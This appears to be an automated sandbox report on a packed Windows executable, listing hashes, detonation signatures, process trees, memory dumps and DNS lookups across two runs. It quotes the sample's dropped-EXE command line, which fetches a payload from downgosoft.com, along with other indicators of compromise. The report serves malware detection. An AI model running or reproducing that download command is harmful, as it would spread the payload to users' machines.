Analysis Overview
SHA256
5ec3a4f34c759cc44406d8402bcb640667c80da262e6811ff95402e2b48a0458
Threat Level: Shows suspicious behavior
The file b3c826c8e7de52b473258d54d67b528e was found to be: Shows suspicious behavior.
Malicious Activity Summary
ASPack v2.12-2.42
Loads dropped DLL
UPX packed file
Executes dropped EXE
Checks computer location settings
Enumerates physical storage devices
Unsigned PE
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-05 04:29
Signatures
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-05 04:29
Reported
2024-03-05 04:31
Platform
win7-20240221-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1640 wrote to memory of 1984 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe |
| PID 1640 wrote to memory of 1984 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe |
| PID 1640 wrote to memory of 1984 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe |
| PID 1640 wrote to memory of 1984 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe |
Processes
C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe
"C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe"
C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe
"C:\Users\Admin\AppData\Local\Temp\A2157-tmp.eXe" http://downgosoft.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A2157-tmpa"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | downgosoft.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\A2157-tmp.exe
| MD5 | a6ef8e1067dae3cf7537712443bf3b77 |
| SHA1 | 204b8a6402b415533540d0c2659c5722a21da8be |
| SHA256 | 2917964e199063cb0cd0bced5d1f7846edcb810fe02fff8f0b1dd053746cf229 |
| SHA512 | 9662f18208b8a6c27a29e496b75d24ef9a910c20cd458fe8ea58458986253d3ff0a82e349cbfa804b52b3dd0913d995e737f740f48f1a16b8d2ff908ee9cc14a |
memory/1640-8-0x0000000002CF0000-0x0000000002D14000-memory.dmp
memory/1640-15-0x0000000002D00000-0x0000000002D24000-memory.dmp
memory/1984-17-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1640-18-0x0000000000400000-0x0000000000436000-memory.dmp
memory/1984-19-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1640-20-0x0000000002CF0000-0x0000000002D14000-memory.dmp
memory/1640-21-0x0000000002D00000-0x0000000002D24000-memory.dmp
memory/1640-24-0x0000000002D00000-0x0000000002D24000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-03-05 04:29
Reported
2024-03-05 04:31
Platform
win10v2004-20240226-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3044 wrote to memory of 2200 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe |
| PID 3044 wrote to memory of 2200 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe |
| PID 3044 wrote to memory of 2200 | N/A | C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe | C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe |
Processes
C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe
"C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe"
C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe
"C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe" http://downgosoft.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A3A2B-tmpa"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 173.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 180.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | downgosoft.com | udp |
| US | 8.8.8.8:53 | udp |
Files
C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp
| MD5 | a6ef8e1067dae3cf7537712443bf3b77 |
| SHA1 | 204b8a6402b415533540d0c2659c5722a21da8be |
| SHA256 | 2917964e199063cb0cd0bced5d1f7846edcb810fe02fff8f0b1dd053746cf229 |
| SHA512 | 9662f18208b8a6c27a29e496b75d24ef9a910c20cd458fe8ea58458986253d3ff0a82e349cbfa804b52b3dd0913d995e737f740f48f1a16b8d2ff908ee9cc14a |
memory/2200-11-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3044-13-0x0000000000400000-0x0000000000436000-memory.dmp
memory/2200-14-0x0000000000400000-0x0000000000424000-memory.dmp